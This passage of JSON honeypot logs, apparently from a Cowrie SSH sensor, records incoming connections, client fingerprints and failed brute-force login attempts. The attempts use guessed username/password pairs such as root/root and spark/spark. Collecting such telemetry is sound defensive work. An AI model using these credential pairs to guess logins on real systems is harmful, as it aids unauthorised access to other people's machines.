"hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:27:50.782826Z","src_ip":"182.253.156.184","session":"48ec574780fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"spark","password":"spark","message":"login attempt [spark/spark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:27:51.781729Z","src_ip":"182.253.156.184","session":"48ec574780fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:27:53.030229Z","src_ip":"182.253.156.184","session":"48ec574780fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":45830,"dst_ip":"159.203.135.109","dst_port":22,"session":"995e536d828f","protocol":"ssh","message":"New connection: 194.113.233.25:45830 (159.203.135.109:22) [session: 995e536d828f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:28:32.935195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:28:32.939537Z","src_ip":"194.113.233.25","session":"995e536d828f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:28:33.036915Z","src_ip":"194.113.233.25","session":"995e536d828f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:28:33.321569Z","src_ip":"194.113.233.25","session":"995e536d828f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:28:34.418280Z","src_ip":"194.113.233.25","session":"995e536d828f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":55022,"dst_ip":"10.17.0.5","dst_port":22,"session":"fec7ec2a1701","protocol":"ssh","message":"New connection: 103.15.222.183:55022 (10.17.0.5:22) [session: fec7ec2a1701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:28:43.115807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:28:43.119201Z","src_ip":"103.15.222.183","session":"fec7ec2a1701","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:28:43.360734Z","src_ip":"103.15.222.183","session":"fec7ec2a1701","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kbpjxrf","message":"login attempt [root/kbpjxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:28:44.086080Z","src_ip":"103.15.222.183","session":"fec7ec2a1701","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:28:45.330744Z","src_ip":"103.15.222.183","session":"fec7ec2a1701","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":52022,"dst_ip":"159.203.135.109","dst_port":22,"session":"810666753d32","protocol":"ssh","message":"New connection: 46.19.67.181:52022 (159.203.135.109:22) [session: 810666753d32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:00.121284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:00.127074Z","src_ip":"46.19.67.181","session":"810666753d32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:00.250724Z","src_ip":"46.19.67.181","session":"810666753d32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"321ewq321","message":"login attempt [root/321ewq321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:00.608599Z","src_ip":"46.19.67.181","session":"810666753d32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:01.729697Z","src_ip":"46.19.67.181","session":"810666753d32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.56.159.185","src_port":36890,"dst_ip":"10.17.0.5","dst_port":22,"session":"3771a750742a","protocol":"ssh","message":"New connection: 50.56.159.185:36890 (10.17.0.5:22) [session: 3771a750742a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:07.656669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:07.703978Z","src_ip":"50.56.159.185","session":"3771a750742a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:07.709007Z","src_ip":"50.56.159.185","session":"3771a750742a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:07.903625Z","src_ip":"50.56.159.185","session":"3771a750742a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:08.948469Z","src_ip":"50.56.159.185","session":"3771a750742a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":7222,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c82ec5455e8","protocol":"ssh","message":"New connection: 220.247.224.226:7222 (10.17.0.5:22) [session: 6c82ec5455e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:11.087012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:11.092579Z","src_ip":"220.247.224.226","session":"6c82ec5455e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:11.321763Z","src_ip":"220.247.224.226","session":"6c82ec5455e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"teste123","message":"login attempt [teste/teste123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:12.235542Z","src_ip":"220.247.224.226","session":"6c82ec5455e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:13.458479Z","src_ip":"220.247.224.226","session":"6c82ec5455e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.156.184","src_port":54504,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfcb70166ee2","protocol":"ssh","message":"New connection: 182.253.156.184:54504 (159.203.135.109:22) [session: dfcb70166ee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:21.844134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:21.848959Z","src_ip":"182.253.156.184","session":"dfcb70166ee2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:22.092203Z","src_ip":"182.253.156.184","session":"dfcb70166ee2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qq2w3e4r5t","message":"login attempt [root/1qq2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:23.099669Z","src_ip":"182.253.156.184","session":"dfcb70166ee2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:24.345894Z","src_ip":"182.253.156.184","session":"dfcb70166ee2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":41444,"dst_ip":"10.17.0.5","dst_port":22,"session":"156ddf07a784","protocol":"ssh","message":"New connection: 5.182.83.231:41444 (10.17.0.5:22) [session: 156ddf07a784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:36.622871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:36.627633Z","src_ip":"5.182.83.231","session":"156ddf07a784","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:36.739468Z","src_ip":"5.182.83.231","session":"156ddf07a784","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"viewer","password":"viewer","message":"login attempt [viewer/viewer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:37.215111Z","src_ip":"5.182.83.231","session":"156ddf07a784","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:38.330366Z","src_ip":"5.182.83.231","session":"156ddf07a784","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":35668,"dst_ip":"10.17.0.5","dst_port":22,"session":"277c379e3104","protocol":"ssh","message":"New connection: 103.27.238.116:35668 (10.17.0.5:22) [session: 277c379e3104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:41.330440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:41.334414Z","src_ip":"103.27.238.116","session":"277c379e3104","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:41.592794Z","src_ip":"103.27.238.116","session":"277c379e3104","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":44426,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c5a7ac05afc","protocol":"ssh","message":"New connection: 103.27.238.120:44426 (10.17.0.5:22) [session: 1c5a7ac05afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:42.223882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:42.228347Z","src_ip":"103.27.238.120","session":"1c5a7ac05afc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"100688","message":"login attempt [root/100688] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:29:42.369759Z","src_ip":"103.27.238.116","session":"277c379e3104","protocol":"ssh"}
